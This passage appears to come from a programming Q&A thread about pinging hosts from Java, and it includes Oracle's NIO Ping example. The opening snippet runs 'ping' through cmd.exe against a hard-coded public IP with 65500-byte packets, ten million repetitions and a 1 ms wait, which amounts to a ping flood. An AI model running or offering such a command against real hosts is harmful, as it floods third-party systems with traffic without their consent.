String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
String temp1 = "";
#SuppressWarnings("unused")
String Hostname1 = "";
while ((temp1 = VarMove1.readLine()) != null) {
Thread.sleep(2);
Hostname1 = temp1;
}
VarMove1.close();
}
}
When tests are completed. You might want to use the following code to clean up the processes in Task Manager.
import java.io.IOException;
//BEGIN Clean Process
public class CleanProcess {
protected static final long serialVersionUID = 300200;
public static void main(String[] args) throws IOException {
// Close every process of PING and CMD running from your PC
Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
}
}
Using this isn't going to help in case of ping a public IP addresses using Windows machine:
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
Note: The documentation states that:
A typical implementation will use ICMP ECHO REQUESTs if the privilege
can be obtained, otherwise it will try to establish a TCP connection
on port 7 (Echo) of the destination host.
I've tried that but the results were not accurate.
What really worked out for me is the class written by our fellow user that send true ICMP ping and returns true or false according to IP status.
Odd InetAddress.isReachable() issue
From https://docs.oracle.com/javase/8/docs/technotes/guides/io/example/Ping.java
we have
public class Ping {
// The default daytime port
static int DAYTIME_PORT = 13;
// The port we'll actually use
static int port = DAYTIME_PORT;
// Representation of a ping target
//
static class Target {
InetSocketAddress address;
SocketChannel channel;
Exception failure;
long connectStart;
long connectFinish = 0;
boolean shown = false;
Target(String host) {
try {
address = new InetSocketAddress(InetAddress.getByName(host),
port);
} catch (IOException x) {
failure = x;
}
}
void show() {
String result;
if (connectFinish != 0)
result = Long.toString(connectFinish - connectStart) + "ms";
else if (failure != null)
result = failure.toString();
else
result = "Timed out";
System.out.println(address + " : " + result);
shown = true;
}
}
// Thread for printing targets as they're heard from
//
static class Printer
extends Thread {
LinkedList<Target> pending = new LinkedList<>();
Printer() {
setName("Printer");
setDaemon(true);
}
void add(Target t) {
synchronized (pending) {
pending.add(t);
pending.notify();
}
}
public void run() {
try {
for (; ; ) {
Target t = null;
synchronized (pending) {
while (pending.size() == 0)
pending.wait();
t = (Target) pending.removeFirst();
}
t.show();
}
} catch (InterruptedException x) {
return;
}
}
}
// Thread for connecting to all targets in parallel via a single selector
//
static class Connector
extends Thread {
Selector sel;
Printer printer;
// List of pending targets. We use this list because if we try to
// register a channel with the selector while the connector thread is
// blocked in the selector then we will block.
//
LinkedList<Target> pending = new LinkedList<>();
Connector(Printer pr) throws IOException {
printer = pr;
sel = Selector.open();
setName("Connector");
}
// Initiate a connection sequence to the given target and add the
// target to the pending-target list
//
void add(Target t) {
SocketChannel sc = null;
try {
// Open the channel, set it to non-blocking, initiate connect
sc = SocketChannel.open();
sc.configureBlocking(false);
boolean connected = sc.connect(t.address);
// Record the time we started
t.channel = sc;
t.connectStart = System.currentTimeMillis();
if (connected) {
t.connectFinish = t.connectStart;
sc.close();
printer.add(t);
} else {
// Add the new channel to the pending list
synchronized (pending) {
pending.add(t);
}
// Nudge the selector so that it will process the pending list
sel.wakeup();
}
} catch (IOException x) {
if (sc != null) {
try {
sc.close();
} catch (IOException xx) {
}
}
t.failure = x;
printer.add(t);
}
}
// Process any targets in the pending list
//
void processPendingTargets() throws IOException {
synchronized (pending) {
while (pending.size() > 0) {
Target t = (Target) pending.removeFirst();
try {
// Register the channel with the selector, indicating
// interest in connection completion and attaching the
// target object so that we can get the target back
// after the key is added to the selector's
// selected-key set
t.channel.register(sel, SelectionKey.OP_CONNECT, t);
} catch (IOException x) {
// Something went wrong, so close the channel and
// record the failure
t.channel.close();
t.failure = x;
printer.add(t);
}
}
}
}
// Process keys that have become selected
//
void processSelectedKeys() throws IOException {
for (Iterator i = sel.selectedKeys().iterator(); i.hasNext(); ) {
// Retrieve the next key and remove it from the set
SelectionKey sk = (SelectionKey) i.next();
i.remove();
// Retrieve the target and the channel
Target t = (Target) sk.attachment();
SocketChannel sc = (SocketChannel) sk.channel();
// Attempt to complete the connection sequence
try {
if (sc.finishConnect()) {
sk.cancel();
t.connectFinish = System.currentTimeMillis();
sc.close();
printer.add(t);
}
} catch (IOException x) {
sc.close();
t.failure = x;
printer.add(t);
}
}
}
volatile boolean shutdown = false;
// Invoked by the main thread when it's time to shut down
//
void shutdown() {
shutdown = true;
sel.wakeup();
}
// Connector loop
//
public void run() {
for (; ; ) {
try {
int n = sel.select();
if (n > 0)
processSelectedKeys();
processPendingTargets();
if (shutdown) {
sel.close();
return;
}
} catch (IOException x) {
x.printStackTrace();
}
}
}
}
public static void main(String[] args)
throws InterruptedException, IOException {
if (args.length < 1) {
System.err.println("Usage: java Ping [port] host...");
return;
}
int firstArg = 0;
// If the first argument is a string of digits then we take that
// to be the port number to use
if (Pattern.matches("[0-9]+", args[0])) {
port = Integer.parseInt(args[0]);
firstArg = 1;
}
// Create the threads and start them up
Printer printer = new Printer();
printer.start();
Connector connector = new Connector(printer);
connector.start();
// Create the targets and add them to the connector
LinkedList<Target> targets = new LinkedList<>();
for (int i = firstArg; i < args.length; i++) {
Target t = new Target(args[i]);
targets.add(t);
connector.add(t);
}
// Wait for everything to finish
Thread.sleep(2000);
connector.shutdown();
connector.join();
// Print status of targets that have not yet been shown
for (Iterator i = targets.iterator(); i.hasNext(); ) {
Target t = (Target) i.next();
if (!t.shown)
t.show();
}
}
}